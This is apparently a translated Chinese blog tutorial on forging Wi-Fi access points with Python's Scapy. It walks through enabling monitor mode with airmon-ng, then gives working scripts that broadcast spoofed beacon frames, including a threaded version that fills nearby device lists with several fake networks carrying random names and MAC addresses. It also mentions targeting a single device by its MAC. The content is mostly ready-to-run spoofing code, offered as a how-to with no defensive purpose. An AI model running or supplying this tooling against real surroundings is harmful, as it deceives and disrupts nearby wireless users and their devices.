本文通过使用 python 中的 scapy 向空中发送有效的信标帧来创建虚假接入点并欺骗附近的设备,包括Python创建假接入点示例。
Python如何创建假接入点?有没有想过你的笔记本电脑或手机如何知道附近有哪些无线网络?其实很简单,无线接入点不断地向附近的所有无线设备发送信标帧,这些帧包括接入点的信息,如SSID(名称)、加密类型、MAC地址等。
如何使用Scapy创建假接入点?在本教程中,你将学习如何使用Python 中的Scapy库将信标帧发送到空中以成功伪造接入点!
本教程需要安装的软件包:
pip3 install faker scapy
为了确保 Scapy 安装正确,请前往本教程或查看官方 scapy 文档以获取所有环境的完整安装。
强烈建议你遵循Kali Linux环境,因为它提供了我们在本教程中需要的预安装实用程序。
Python创建假接入点示例介绍:在我们深入研究令人兴奋的代码之前,你需要 在网络接口卡中启用 监控模式:
- 你需要确保你使用的是基于 Unix 的系统。
- 安装aircrack-ng实用程序:
apt-get install aircrack-ng
注:在 了Aircrack-ng的实用程序自带的Linux卡里预装,所以如果你在卡利,你不应该运行此命令。
- 使用airmon-ng命令启用监控模式:
root@rockikz:~# airmon-ng check kill
Killing these processes:
PID Name
735 wpa_supplicant
root@rockikz:~# airmon-ng start wlan0
PHY Interface Driver Chipset
phy0 wlan0 ath9k_htc Atheros Communications, Inc. TP-Link TL-WN821N v3 / TL-WN822N v2 802.11n [Atheros AR7010+AR9287]
(mac80211 monitor mode vif enabled for [phy0]wlan0 on [phy0]wlan0mon)
(mac80211 station mode vif disabled for [phy0]wlan0)
注意:在我的情况下,我的 USB WLAN 棒名为wlan0,你应该运行ifconfig命令并查看正确的网络接口名称。
好了,现在你已经准备好了,让我们先从一个简单的食谱开始:
from scapy.all import *
# interface to use to send beacon frames, must be in monitor mode
iface = "wlan0mon"
# generate a random MAC address (built-in in scapy)
sender_mac = RandMAC()
# SSID (name of access point)
ssid = "Test"
# 802.11 frame
dot11 = Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2=sender_mac, addr3=sender_mac)
# beacon layer
beacon = Dot11Beacon()
# putting ssid in the frame
essid = Dot11Elt(ID="SSID", info=ssid, len=len(ssid))
# stack all the layers and add a RadioTap
frame = RadioTap()/dot11/beacon/essid
# send the frame in layer 2 every 100 milliseconds forever
# using the `iface` interface
sendp(frame, inter=0.1, iface=iface, loop=1)
Python如何创建假接入点?上面的代码执行以下操作:
我们生成一个随机 MAC 地址并设置我们想要创建的接入点的名称,然后我们创建一个802.11 帧,字段是:
- type=0: 表示是管理帧。
- subtype=8: 表示该管理帧为信标帧。
- addr1: 指的是目的MAC地址,也就是接收者的MAC地址,我们这里使用广播地址("ff:ff:ff:ff:ff:ff"),如果你想让这个假接入点只出现在目标设备中,你可以使用目标的 MAC 地址。
- addr2:源MAC地址,发送方MAC地址。
- addr3:接入点的 MAC 地址。
所以我们应该使用相同的 MAC 地址addr2和addr3,那是因为发送方是接入点!
我们使用 SSID Infos 创建我们的信标帧,然后将它们全部堆叠在一起并使用 Scapy 的 sendp ()函数发送它们。
如何使用Scapy创建假接入点?在我们将界面设置为监控模式并执行脚本后,我们应该会在可用的 Wi-Fi 接入点列表中看到类似的内容:
现在让我们花点心思,同时创建许多假接入点:
from scapy.all import *
from threading import Thread
from faker import Faker
def send_beacon(ssid, mac, infinite=True):
dot11 = Dot11(type=0, subtype=8, addr1="ff:ff:ff:ff:ff:ff", addr2=mac, addr3=mac)
# ESS+privacy to appear as secured on some devices
beacon = Dot11Beacon(cap="ESS+privacy")
essid = Dot11Elt(ID="SSID", info=ssid, len=len(ssid))
frame = RadioTap()/dot11/beacon/essid
sendp(frame, inter=0.1, loop=1, iface=iface, verbose=0)
if __name__ == "__main__":
# number of access points
n_ap = 5
iface = "wlan0mon"
# generate random SSIDs and MACs
faker = Faker()
ssids_macs = [ (faker.name(), faker.mac_address()) for i in range(n_ap) ]
for ssid, mac in ssids_macs:
Thread(target=send_beacon, args=(ssid, mac)).start()
Python如何创建假接入点?我在这里所做的,就是将前面几行代码包裹在一个函数中,并使用faker 包生成随机的 MAC 地址和 SSID ,然后为每个接入点启动一个单独的线程,一旦执行脚本,接口将发送 5信标每 100 毫秒(至少在理论上),这将导致出现五个假接入点,请查看:
Python创建假接入点示例 - 这是它在 Android 操作系统上的外观:
如果你不确定如何使用线程,请查看本教程。
这太神奇了,请注意,尝试连接到这些接入点之一将会失败,因为它们不是真正的接入点,只是一种错觉!